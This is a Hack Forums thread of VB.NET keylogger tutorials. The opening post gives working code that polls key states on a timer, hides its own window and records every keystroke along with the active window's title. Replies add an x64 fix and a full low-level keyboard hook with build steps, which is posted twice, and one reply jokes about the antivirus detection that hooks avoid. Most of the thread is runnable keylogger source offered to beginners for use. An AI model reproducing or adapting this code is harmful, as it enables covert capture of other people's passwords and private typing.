

Forum:[Hack Forums](#)

Thread: [\[VB .NET\] Keylogger GetAsyncKey](#)

Soul Collector - November 25, 2009, 6:58 am

Hello this is just little example for your keylogger, GetAsyncKey.. Its from my old project so dont blame me if it got errors :P tell me i'll fix them :D

Under the Public Class Form1 add:

```
Code Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Private Declare Function GetActiveWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal WinTitle As String, ByVal MaxLength As Integer) As Integer
Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Integer
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Integer, ByVal dwExtraInfo As Integer)
Private Const VK_SNAPSHOT As Short = &H2CS
```

Add Timer1 and write code:

```
Code Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Me.Hide()
Dim hWnd As IntPtr = GetForegroundWindow()

If hWnd = IntPtr.Zero Then Exit Sub

Dim TitleLength As Integer

TitleLength = GetWindowTextLength(hWnd)

Dim WindowTitle As String = StrDup(TitleLength + 1, "*")

GetWindowText(hWnd, WindowTitle, TitleLength + 1)

Dim pid As Integer = 0

GetWindowThreadProcessId(hWnd, pid)

If pid = 0 Then Exit Sub

Dim proc As Process = Process.GetProcessById(pid)
```

If proc Is Nothing Then Exit Sub

Dim txtProcessID = pid.ToString

Dim txtProcessName = proc.ProcessName

Dim txtProcessTitle = proc.MainWindowTitle

Dim txtCurrentWindowTitle = WindowTitle

Dim txtTitleLength = TitleLength.ToString

For i = 1 To 130

 result = 0

 result = GetAsyncKeyState(i)

 If result = -32767 Then

 If (GetAsyncKeyState(107)) Then

 TextBox1.Text = TextBox1.Text + "+"

 Elseif (GetAsyncKeyState(59)) Then

 TextBox1.Text = TextBox1.Text + ";"

 Elseif (GetAsyncKeyState(95)) Then

 TextBox1.Text = TextBox1.Text + " _ "

 Elseif (GetAsyncKeyState(95)) Then

 TextBox1.Text = TextBox1.Text + " _ "

 Elseif (GetAsyncKeyState(59)) Then

 TextBox1.Text = TextBox1.Text + ";;"

 Elseif (GetAsyncKeyState(58)) Then

 TextBox1.Text = TextBox1.Text + "':"

 Elseif (GetAsyncKeyState(47)) Then

 TextBox1.Text = TextBox1.Text + "/"

 Elseif (GetAsyncKeyState(63)) Then

 TextBox1.Text = TextBox1.Text + "?"

 Elseif (GetAsyncKeyState(64)) Then

 TextBox1.Text = TextBox1.Text + "@"

 Elseif (GetAsyncKeyState(126)) Then

 TextBox1.Text = TextBox1.Text + "~"

 Elseif (GetAsyncKeyState(35)) Then

 TextBox1.Text = TextBox1.Text + "#"

 Elseif (GetAsyncKeyState(44)) Then

 TextBox1.Text = TextBox1.Text + ","

```
ElseIf (GetAsyncKeyState(60)) Then
    TextBox1.Text = TextBox1.Text + "<"

ElseIf (GetAsyncKeyState(62)) Then
    TextBox1.Text = TextBox1.Text + ">"

ElseIf (GetAsyncKeyState(124)) Then
    TextBox1.Text = TextBox1.Text + "|"

ElseIf (GetAsyncKeyState(48)) Then
    TextBox1.Text = TextBox1.Text + "0"

ElseIf (GetAsyncKeyState(49)) Then
    TextBox1.Text = TextBox1.Text + "1"

ElseIf (GetAsyncKeyState(50)) Then
    TextBox1.Text = TextBox1.Text + "2"

ElseIf (GetAsyncKeyState(51)) Then
    TextBox1.Text = TextBox1.Text + "3"

ElseIf (GetAsyncKeyState(52)) Then
    TextBox1.Text = TextBox1.Text + "4"

ElseIf (GetAsyncKeyState(53)) Then
    TextBox1.Text = TextBox1.Text + "5"

ElseIf (GetAsyncKeyState(54)) Then
    TextBox1.Text = TextBox1.Text + "6"

ElseIf (GetAsyncKeyState(55)) Then
    TextBox1.Text = TextBox1.Text + "7"

ElseIf (GetAsyncKeyState(56)) Then
    TextBox1.Text = TextBox1.Text + "8"

ElseIf (GetAsyncKeyState(57)) Then
    TextBox1.Text = TextBox1.Text + "9"

ElseIf (GetAsyncKeyState(65)) Then
    TextBox1.Text = TextBox1.Text + "a"

ElseIf (GetAsyncKeyState(66)) Then
    TextBox1.Text = TextBox1.Text + "b"

ElseIf (GetAsyncKeyState(67)) Then
    TextBox1.Text = TextBox1.Text + "c"

ElseIf (GetAsyncKeyState(68)) Then
    TextBox1.Text = TextBox1.Text + "d"

ElseIf (GetAsyncKeyState(69)) Then
    TextBox1.Text = TextBox1.Text + "e"
```

```
ElseIf (GetAsyncKeyState(70)) Then
    TextBox1.Text = TextBox1.Text + "f"

ElseIf (GetAsyncKeyState(71)) Then
    TextBox1.Text = TextBox1.Text + "g"

ElseIf (GetAsyncKeyState(72)) Then
    TextBox1.Text = TextBox1.Text + "h"

ElseIf (GetAsyncKeyState(73)) Then
    TextBox1.Text = TextBox1.Text + "i"

ElseIf (GetAsyncKeyState(74)) Then
    TextBox1.Text = TextBox1.Text + "j"

ElseIf (GetAsyncKeyState(75)) Then
    TextBox1.Text = TextBox1.Text + "k"

ElseIf (GetAsyncKeyState(76)) Then
    TextBox1.Text = TextBox1.Text + "l"

ElseIf (GetAsyncKeyState(77)) Then
    TextBox1.Text = TextBox1.Text + "m"

ElseIf (GetAsyncKeyState(78)) Then
    TextBox1.Text = TextBox1.Text + "n"

ElseIf (GetAsyncKeyState(79)) Then
    TextBox1.Text = TextBox1.Text + "o"

ElseIf (GetAsyncKeyState(80)) Then
    TextBox1.Text = TextBox1.Text + "p"

ElseIf (GetAsyncKeyState(81)) Then
    TextBox1.Text = TextBox1.Text + "q"

ElseIf (GetAsyncKeyState(82)) Then
    TextBox1.Text = TextBox1.Text + "r"

ElseIf (GetAsyncKeyState(83)) Then
    TextBox1.Text = TextBox1.Text + "s"

ElseIf (GetAsyncKeyState(84)) Then
    TextBox1.Text = TextBox1.Text + "t"

ElseIf (GetAsyncKeyState(85)) Then
    TextBox1.Text = TextBox1.Text + "u"

ElseIf (GetAsyncKeyState(86)) Then
    TextBox1.Text = TextBox1.Text + "v"

ElseIf (GetAsyncKeyState(87)) Then
```

```
    TextBox1.Text = TextBox1.Text + "w"

Elseif (GetAsyncKeyState(88)) Then
    TextBox1.Text = TextBox1.Text + "x"

Elseif (GetAsyncKeyState(89)) Then
    TextBox1.Text = TextBox1.Text + "y"

Elseif (GetAsyncKeyState(90)) Then
    TextBox1.Text = TextBox1.Text + "z"

Elseif (GetAsyncKeyState(8)) Then
    TextBox1.Text = TextBox1.Text + "[Back]"

Elseif (GetAsyncKeyState(27)) Then
    TextBox1.Text = TextBox1.Text + "[Esc]"

Elseif (GetAsyncKeyState(35)) Then
    TextBox1.Text = TextBox1.Text + "[End]"

Elseif (GetAsyncKeyState(33)) Then
    TextBox1.Text = TextBox1.Text + "[PageUp]"

Elseif (GetAsyncKeyState(34)) Then
    TextBox1.Text = TextBox1.Text + "[Pagedown]"

Elseif (GetAsyncKeyState(36)) Then
    TextBox1.Text = TextBox1.Text + "[Home]"

Elseif (GetAsyncKeyState(37)) Then
    TextBox1.Text = TextBox1.Text + "[Left]"

Elseif (GetAsyncKeyState(38)) Then
    TextBox1.Text = TextBox1.Text + "[Up]"

Elseif (GetAsyncKeyState(39)) Then
    TextBox1.Text = TextBox1.Text + "[Right]"

Elseif (GetAsyncKeyState(40)) Then
    TextBox1.Text = TextBox1.Text + "[Down]"

Elseif (GetAsyncKeyState(45)) Then
    TextBox1.Text = TextBox1.Text + "[Ins]"

Elseif (GetAsyncKeyState(46)) Then
    TextBox1.Text = TextBox1.Text + "[Del]"

Elseif (GetAsyncKeyState(144)) Then
    TextBox1.Text = TextBox1.Text + "[NumLock]"

Elseif (GetAsyncKeyState(112)) Then
    TextBox1.Text = TextBox1.Text + "[F1]"
```

```
ElseIf (GetAsyncKeyState(113)) Then
    TextBox1.Text = TextBox1.Text + "[F2]"

ElseIf (GetAsyncKeyState(114)) Then
    TextBox1.Text = TextBox1.Text + "[F3]"

ElseIf (GetAsyncKeyState(115)) Then
    TextBox1.Text = TextBox1.Text + "[F4]"

ElseIf (GetAsyncKeyState(116)) Then
    TextBox1.Text = TextBox1.Text + "[F5]"

ElseIf (GetAsyncKeyState(117)) Then
    TextBox1.Text = TextBox1.Text + "[F6]"

ElseIf (GetAsyncKeyState(118)) Then
    TextBox1.Text = TextBox1.Text + "[F7]"

ElseIf (GetAsyncKeyState(119)) Then
    TextBox1.Text = TextBox1.Text + "[F8]"

ElseIf (GetAsyncKeyState(120)) Then
    TextBox1.Text = TextBox1.Text + "[F9]"

ElseIf (GetAsyncKeyState(121)) Then
    TextBox1.Text = TextBox1.Text + "[F10]"

ElseIf (GetAsyncKeyState(122)) Then
    TextBox1.Text = TextBox1.Text + "[F11]"

ElseIf (GetAsyncKeyState(123)) Then
    TextBox1.Text = TextBox1.Text + "[F12]"

ElseIf (GetAsyncKeyState(16)) Then
    TextBox1.Text = TextBox1.Text + "[Shift]"

ElseIf (GetAsyncKeyState(96)) Then
    TextBox1.Text = TextBox1.Text + "0"

ElseIf (GetAsyncKeyState(97)) Then
    TextBox1.Text = TextBox1.Text + "1"

ElseIf (GetAsyncKeyState(98)) Then
    TextBox1.Text = TextBox1.Text + "2"

ElseIf (GetAsyncKeyState(99)) Then
    TextBox1.Text = TextBox1.Text + "3"

ElseIf (GetAsyncKeyState(100)) Then
    TextBox1.Text = TextBox1.Text + "4"

ElseIf (GetAsyncKeyState(101)) Then
    TextBox1.Text = TextBox1.Text + "5"
```

```
ElseIf (GetAsyncKeyState(102)) Then
    TextBox1.Text = TextBox1.Text + "6"

ElseIf (GetAsyncKeyState(103)) Then
    TextBox1.Text = TextBox1.Text + "7"

ElseIf (GetAsyncKeyState(104)) Then
    TextBox1.Text = TextBox1.Text + "8"

ElseIf (GetAsyncKeyState(105)) Then
    TextBox1.Text = TextBox1.Text + "9"

ElseIf (GetAsyncKeyState(106)) Then
    TextBox1.Text = TextBox1.Text + "*"

ElseIf (GetAsyncKeyState(108)) Then
    TextBox1.Text = TextBox1.Text + "" & vbCrLf
    TextBox1.Text = TextBox1.Text + "[" + txtProcessTitle + "]"
ElseIf (GetAsyncKeyState(32)) Then
    TextBox1.Text = TextBox1.Text + " "

ElseIf (GetAsyncKeyState(109)) Then
    TextBox1.Text = TextBox1.Text + "- "

ElseIf (GetAsyncKeyState(110)) Then
    TextBox1.Text = TextBox1.Text + "."

ElseIf (GetAsyncKeyState(111)) Then
    TextBox1.Text = TextBox1.Text + "/"

ElseIf (GetAsyncKeyState(42)) Then
    TextBox1.Text = TextBox1.Text + "[PrintScreen]"

ElseIf (GetAsyncKeyState(43)) Then
    TextBox1.Text = TextBox1.Text + "[Execute]"

ElseIf (GetAsyncKeyState(43)) Then
    TextBox1.Text = TextBox1.Text + "[Snapshot]"

ElseIf (GetAsyncKeyState(41)) Then
    TextBox1.Text = TextBox1.Text + "[Select]"

ElseIf (GetAsyncKeyState(19)) Then
    TextBox1.Text = TextBox1.Text + "[Pause]"

ElseIf (GetAsyncKeyState(20)) Then
    TextBox1.Text = TextBox1.Text + "[CapsLock]"

ElseIf (GetAsyncKeyState(17)) Then
    TextBox1.Text = TextBox1.Text + "[Ctrl]"
```

```

ElseIf (GetAsyncKeyState(13)) Then
    TextBox1.Text = TextBox1.Text + "" & vbCrLf
    TextBox1.Text = TextBox1.Text + "[" + txtProcessTitle + "]"
ElseIf (GetAsyncKeyState(9)) Then
    TextBox1.Text = TextBox1.Text + "[Tab]"

ElseIf (GetAsyncKeyState(12)) Then
    TextBox1.Text = TextBox1.Text + "[Clear]"

ElseIf (GetAsyncKeyState(3)) Then
    TextBox1.Text = TextBox1.Text + "[Cancel]"

End If
End If
Next i
End Sub

```

bikezone - November 30, 2009, 8:04 am

nice tut soul collector

d4t4st34l - November 30, 2009, 8:10 am

Thank's a lot for this tutorial

I like it !

I was shearching it !

Vorfin - November 30, 2009, 8:38 am

Nooooo, use hooks, and loops lol. This will spike your CPU so high it will be like slapping Kaspersky on the dick and yelling "Hey, I'm a keylogger!"

BlueMelon - November 30, 2009, 4:47 pm

(Nov 30, 2009 09:38 AM)Vorfin Wrote: [\[CITE\]](#) Nooooo, use hooks, and loops lol. This will spike your CPU so high it will be like slapping Kaspersky on the dick and yelling "Hey, I'm a keylogger!"
You took that quote from GeneralDee I think lol..

But yes, hooks are better.

Soul Collector - November 30, 2009, 11:32 pm

Yup much better. :) But dunno .. wanted to share this too lol :P

-viperox28- - December 4, 2009, 8:44 am

Very Nice Tutorial Soul Collector

Estemarlilix - December 4, 2009, 3:57 pm

Very nice tutorial indeed.But still hooks are better.

But you can rarely find this code also thanks for sharing :)

Vorfin - December 4, 2009, 3:58 pm

(Nov 30, 2009 05:47 PM)BlueMelon Wrote: [\[CITE\]](#) You took that quote from GeneralDee I think lol..

But yes, hooks are better.

Yeah, well, I think it was in his sig at LC, not sure who said it first.

omidt - December 26, 2009, 4:49 am

im looking for one that i can get all keys like !@#\$%^&*() and when i use omid_2009@yahoo.com it dont show omid[shift]2009[shift]yahoo.com and sometimes when i type fast it dont get key :((

The End Gamer - December 26, 2009, 6:35 am

Great Share Soul collector
Thanks Dude

shakree42 - March 16, 2010, 4:13 am

really hope if theres a public hooks tutorial ;|

rawi16 - March 16, 2010, 4:15 am

if u really need , then buy leet ^^

Carnival - March 16, 2010, 4:16 am

One more great tut by soul collector. U really help the noobs a lot.

Continue this good work in future too.

Deathader - March 16, 2010, 7:25 am

GET A HOOKER MAN. GET A HOOKER MAN. GET A HOOKER MAN. GET A HOOKER MAN.
GET A HOOKER MAN.

Soul Collector - March 16, 2010, 7:27 am

(Mar 16, 2010 07:25 AM)Deathader Wrote: [\[CITE\]](#) GET A HOOKER MAN. GET A HOOKER MAN.
GET A HOOKER MAN. GET A HOOKER MAN. GET A HOOKER MAN.

I <3 you :D

Yea hooks are great.

meenaltoll - March 17, 2010, 1:52 pm

thanks for providing this program

metzntrix89 - May 22, 2010, 1:50 am

thanx 4 this. am trying to learn how vb codes work. this wil help some amount.

cheerz!!!! ?

Beck - May 22, 2010, 11:16 am

(Dec 26, 2009 05:49 AM)omidt Wrote: [\[CITE\]](#) im looking for one that i can get all keys like !@#\$%^&*() and when i use omid_2009@yahoo.com it dont show omid[shift]2009[shift]yahoo.com and sometimes when i type fast it dont get key :((
Use hooks, way better than GetAsyncKey.

Beck - May 25, 2010, 12:46 pm

(Mar 16, 2010 04:13 AM)shakree42 Wrote: [\[CITE\]](#) really hope if theres a public hooks tutorial ;|
There is. Check Eprouvez' tutorial on how to make key hooks. Logs perfectly, no matter your typing speed. On GetAsyncKey if you type too fast it will skip keys and make bugs and glitches alot. If you do hooks, it will log it all perfect. 100% perfect.

Coron - May 25, 2010, 1:13 pm

I would use hooks as already mentioned, but GetAsyncKey is a great start for those who wants to make a basic keylogger.. Thanks :)

julian - May 25, 2010, 2:07 pm

Nice tut, but it crashes on x64 because most of the API calls use the wrong types.

Code Option Strict On
Option Explicit On

Imports System.Text

Public Class Form1

```
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As
IntPtr, ByVal lpString As StringBuilder, ByVal cch As Integer) As Integer
Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA"
(ByVal hwnd As IntPtr) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr,
ByRef lpdwProcessID As Integer) As Integer

Sub New()

    ' This call is required by the designer.
    InitializeComponent()

    ' Add any initialization after the InitializeComponent() call.
    Timer1.Start()
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer1.Tick
    Me.Hide()

    Dim hWnd As IntPtr = GetForegroundWindow()
    If hWnd = IntPtr.Zero Then Exit Sub
    Dim titleLength As Integer = GetWindowTextLength(hWnd)
    ' This is a buffer that is filled with chars by the api call.
    Dim windowTitle As New StringBuilder(titleLength + 1) ' C strings end with a Chr(0), so we add
room for 1 more char.
    GetWindowText(hWnd, windowTitle, titleLength + 1)
    Dim pid As Integer
    GetWindowThreadProcessId(hWnd, pid)
    If pid = 0 Then Exit Sub
    Dim txtProcessID, txtProcessName, txtProcessTitle As String
    Using proc As Process = Process.GetProcessById(pid)
        If proc Is Nothing Then Exit Sub
        txtProcessID = pid.ToString
        txtProcessName = proc.ProcessName
        txtProcessTitle = proc.MainWindowTitle
    End Using
    Dim txtCurrentWindowTitle = windowTitle.ToString
    Dim txtTitleLength = titleLength.ToString
    For i = 1 To 130
        Dim result As Integer = 0
```

```

result = GetAsyncKeyState(i)
If result = -32767 Then
    If (GetAsyncKeyState(107) <> 0) Then
        TextBox1.Text = TextBox1.Text + "+"

```

' etc, too long for the forum...

Hmm, this is slightly more concise than that huge if statement, but would need a bit more work to make it easy to read. You could maybe serialise a Dictionary with the values that you want and add it as a resource I guess.

```

Code Option Strict On
Option Explicit On

```

```
Imports System.Text
```

```
Public Class Form1
```

```

    Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
    Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As
IntPtr, ByVal lpString As StringBuilder, ByVal cch As Integer) As Integer
    Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA"
(ByVal hwnd As IntPtr) As Integer
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
    Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr,
ByRef lpdwProcessID As Integer) As Integer

```

```
Sub New()
```

```

    ' This call is required by the designer.
    InitializeComponent()

```

```

    ' Add any initialization after the InitializeComponent() call.
    Timer1.Start()
End Sub

```

```

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer1.Tick
    'Me.Hide()

```

```

    Dim hWnd As IntPtr = GetForegroundWindow()
    If hWnd = IntPtr.Zero Then Exit Sub
    Dim titleLength As Integer = GetWindowTextLength(hWnd)
    ' This is a buffer that is filled with chars by the api call.
    Dim windowTitle As New StringBuilder(titleLength + 1) ' C strings end with a Chr(0), so we add
room for 1 more char.
    GetWindowText(hWnd, windowTitle, titleLength + 1)
    Dim pid As Integer
    GetWindowThreadProcessId(hWnd, pid)
    If pid = 0 Then Exit Sub
    Dim txtProcessID, txtProcessName, txtProcessTitle As String
    Using proc As Process = Process.GetProcessById(pid)
        If proc Is Nothing Then Exit Sub
        txtProcessID = pid.ToString

```

```

        txtProcessName = proc.ProcessName
        txtProcessTitle = proc.MainWindowTitle
    End Using
    Dim txtCurrentWindowTitle = windowTitle.ToString
    Dim txtTitleLength = titleLength.ToString

    Dim names() As String = [Enum].GetNames(GetType(Keys))
    Dim values() As Integer = CType([Enum].GetValues(GetType(Keys)), Integer())

    For i As Integer = 0 To values.Length - 1
        Dim result = GetAsyncKeyState(values(i))
        If result <> 0 Then
            TextBox1.AppendText(names(i))
        End If
    Next
End Sub

End Class

```

Braco Asshole - May 25, 2010, 3:48 pm

Thanks soul collector I will try this code to learn it, it is a little big :P.

Entrepreneur - May 25, 2010, 3:52 pm

Hooks hooks hooks, but this is good for the ones learning.

Beck - May 25, 2010, 4:00 pm

One long ass hook for you guys, :P :

1.

Start a new VB.NET project. Add a textbox on your form, set a scrollbar on it's properties menu as to vertical.

2.

Add a new VB class to your form, open it up, and clear all the code so no code is there. Copy-Paste this big long piece of code in:

```

Code Public Class Keyboard
    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal
Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer)
As Integer
    Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As
Integer, ByVal wParam As Integer, ByVal lParam As KeyStructure) As Integer
    Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx"
(ByVal Hook As Integer) As Integer
    Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef
lParam As KeyStructure) As Integer
    Public Shared Event Down(ByVal Key As String)
    Public Shared Event Up(ByVal Key As String)
    Private Shared Key As Integer
    Private Shared KHD As KDel
    Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public
Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
    Public Sub CreateHook()
        KHD = New KDel(AddressOf Proc)
    End Sub
End Class

```

```

    Key = SetWindowsHookEx(13, KHD,
System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecuti
ngAssembly.GetModules()(0)).ToInt32, 0)
    End Sub

    Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As
KeyStructure) As Integer
        If (Code = 0) Then
            Select Case wParam
                Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
                Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
            End Select
        End If
        Return CallNextHookEx(Key, Code, wParam, lParam)
    End Function
    Public Sub DisposeHook()
        UnhookWindowsHookEx(Key)
        MyBase.Finalize()
    End Sub
    Private Function Feed(ByVal e As Keys) As String
        Select Case e
            Case 65 To 90
                If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0
Then
                    Return e.ToString
                Else
                    Return e.ToString.ToLower
                End If
            Case 48 To 57
                If (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Select Case e.ToString
                        Case "D1" : Return "!"
                        Case "D2" : Return "@"
                        Case "D3" : Return "#"
                        Case "D4" : Return "$"
                        Case "D5" : Return "%"
                        Case "D6" : Return "^"
                        Case "D7" : Return "&"
                        Case "D8" : Return "*"
                        Case "D9" : Return "("
                        Case "D0" : Return ")"
                    End Select
                Else
                    Return e.ToString.Replace("D", Nothing)
                End If
            Case 96 To 105
                Return e.ToString.Replace("NumPad", Nothing)
            Case 106 To 111
                Select Case e.ToString
                    Case "Divide" : Return "/"
                    Case "Multiply" : Return "*"
                    Case "Subtract" : Return "-"
                    Case "Add" : Return "+"

```

```

        Case "Decimal" : Return "."
    End Select
Case 32
    Return " "
Case 186 To 222
    If (Control.ModifierKeys And Keys.Shift) <> 0 Then
        Select Case e.ToString
            Case "OemMinus" : Return "_"
            Case "Oemplus" : Return "+"
            Case "OemOpenBrackets" : Return "{"
            Case "Oem6" : Return "}"
            Case "Oem5" : Return "]"
            Case "Oem1" : Return ":"
            Case "Oem7" : Return "''''''"
            Case "Oemcomma" : Return "<"
            Case "OemPeriod" : Return ">"
            Case "OemQuestion" : Return "?"
            Case "Oemtilde" : Return "~"
        End Select
    Else
        Select Case e.ToString
            Case "OemMinus" : Return "-"
            Case "Oemplus" : Return "="
            Case "OemOpenBrackets" : Return "["
            Case "Oem6" : Return "]"
            Case "Oem5" : Return "\"
            Case "Oem1" : Return ";"
            Case "Oem7" : Return ""
            Case "Oemcomma" : Return ","
            Case "OemPeriod" : Return "."
            Case "OemQuestion" : Return "/"
            Case "Oemtilde" : Return "`"
        End Select
    End If
Case Keys.Return
    Return Environment.NewLine
Case Else
    Return "<" + e.ToString + ">"
End Select
Return Nothing
End Function
End Class

```

3.

Go back to your form, now clear all your code just like we did in our VB class, and insert this code in:

```

Code Public Class Form1
    Dim WithEvents K As New Keyboard
    Dim Append As String
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
        K.CreateHook()
    End Sub

```

```

Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As
System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
    K.DisposeHook()
End Sub
Private Sub K_Down(ByVal Key As String) Handles K.Down
    Append &= Key
    TextBox1.Text &= Key
End Sub
End Class

```

5.

Now go to your form properties, and in debugging options, un-check the box that says 'Visual Studio Hosting Process'.

6.

Debug it. It works. Open up notepad or something as a test and type some random crap in. It will show every keystroke of the things you typed in the textbox.

There, keyhooks for ya.

NOTE:

This is not my code, this is Epreuvez's. I take absolutely no credit from this code. It is all his, not mine. Just wanted to show you guys key hooks.

? Hat off to Epreuvez. :)

Entrepreneur - May 25, 2010, 4:24 pm

(May 25, 2010 04:00 PM)Beck Wrote: [CITE](#) One long ass hook for you guys, :P :

1.

Start a new VB.NET project. Add a textbox on your form, set a scrollbar on it's properties menu as to vertical.

2.

Add a new VB class to your form, open it up, and clear all the code so no code is there. Copy-Paste this big long piece of code in:

```

Code Public Class Keyboard
    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal
Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer)
As Integer
    Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As
Integer, ByVal wParam As Integer, ByVal lParam As KeyStructure) As Integer
    Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx"
(ByVal Hook As Integer) As Integer
    Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef
lParam As KeyStructure) As Integer
    Public Shared Event Down(ByVal Key As String)
    Public Shared Event Up(ByVal Key As String)
    Private Shared Key As Integer
    Private Shared KHD As KDel
    Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public
Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
    Public Sub CreateHook()
        KHD = New KDel(AddressOf Proc)

```

```

    Key = SetWindowsHookEx(13, KHD,
System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecuti
ngAssembly.GetModules()(0)).ToInt32, 0)
End Sub

Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As
KeyStructure) As Integer
    If (Code = 0) Then
        Select Case wParam
            Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
            Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
        End Select
    End If
    Return CallNextHookEx(Key, Code, wParam, lParam)
End Function
Public Sub DisposeHook()
    UnhookWindowsHookEx(Key)
    MyBase.Finalize()
End Sub
Private Function Feed(ByVal e As Keys) As String
    Select Case e
        Case 65 To 90
            If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0
Then
                Return e.ToString
            Else
                Return e.ToString.ToLower
            End If
        Case 48 To 57
            If (Control.ModifierKeys And Keys.Shift) <> 0 Then
                Select Case e.ToString
                    Case "D1" : Return "!"
                    Case "D2" : Return "@"
                    Case "D3" : Return "#"
                    Case "D4" : Return "$"
                    Case "D5" : Return "%"
                    Case "D6" : Return "^"
                    Case "D7" : Return "&"
                    Case "D8" : Return "*"
                    Case "D9" : Return "("
                    Case "D0" : Return ")"
                End Select
            Else
                Return e.ToString.Replace("D", Nothing)
            End If
        Case 96 To 105
            Return e.ToString.Replace("NumPad", Nothing)
        Case 106 To 111
            Select Case e.ToString
                Case "Divide" : Return "/"
                Case "Multiply" : Return "*"
                Case "Subtract" : Return "-"
                Case "Add" : Return "+"
            End Select
        End Select
    End Function

```

```

        Case "Decimal" : Return "."
    End Select
Case 32
    Return " "
Case 186 To 222
    If (Control.ModifierKeys And Keys.Shift) <> 0 Then
        Select Case e.ToString
            Case "OemMinus" : Return "_"
            Case "Oemplus" : Return "+"
            Case "OemOpenBrackets" : Return "{"
            Case "Oem6" : Return "}"
            Case "Oem5" : Return "]"
            Case "Oem1" : Return ":"
            Case "Oem7" : Return "''''''"
            Case "Oemcomma" : Return "<"
            Case "OemPeriod" : Return ">"
            Case "OemQuestion" : Return "?"
            Case "Oemtilde" : Return "~"
        End Select
    Else
        Select Case e.ToString
            Case "OemMinus" : Return "-"
            Case "Oemplus" : Return "="
            Case "OemOpenBrackets" : Return "["
            Case "Oem6" : Return "]"
            Case "Oem5" : Return "\"
            Case "Oem1" : Return ";"
            Case "Oem7" : Return ""
            Case "Oemcomma" : Return ","
            Case "OemPeriod" : Return "."
            Case "OemQuestion" : Return "/"
            Case "Oemtilde" : Return "`"
        End Select
    End If
Case Keys.Return
    Return Environment.NewLine
Case Else
    Return "<" + e.ToString + ">"
End Select
Return Nothing
End Function
End Class

```

3.

Go back to your form, now clear all your code just like we did in our VB class, and insert this code in:

```

Code Public Class Form1
    Dim WithEvents K As New Keyboard
    Dim Append As String
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
        K.CreateHook()
    End Sub

```

```

Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As
System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
    K.DisposeHook()
End Sub
Private Sub K_Down(ByVal Key As String) Handles K.Down
    Append &= Key
    TextBox1.Text &= Key
End Sub
End Class

```

5.

Now go to your form properties, and in debugging options, un-check the box that says 'Visual Studio Hosting Process'.

6.

Debug it. It works. Open up notepad or something as a test and type some random crap in. It will show every keystroke of the things you typed in the textbox.

There, keyhooks for ya.

NOTE:

This is not my code, this is Eprouvez's. I take absolutely no credit from this code. It is all his, not mine. Just wanted to show you guys key hooks.

? Hat off to Eprouvez. :)

This is what all good keyloggers use.

Beck - May 25, 2010, 4:30 pm

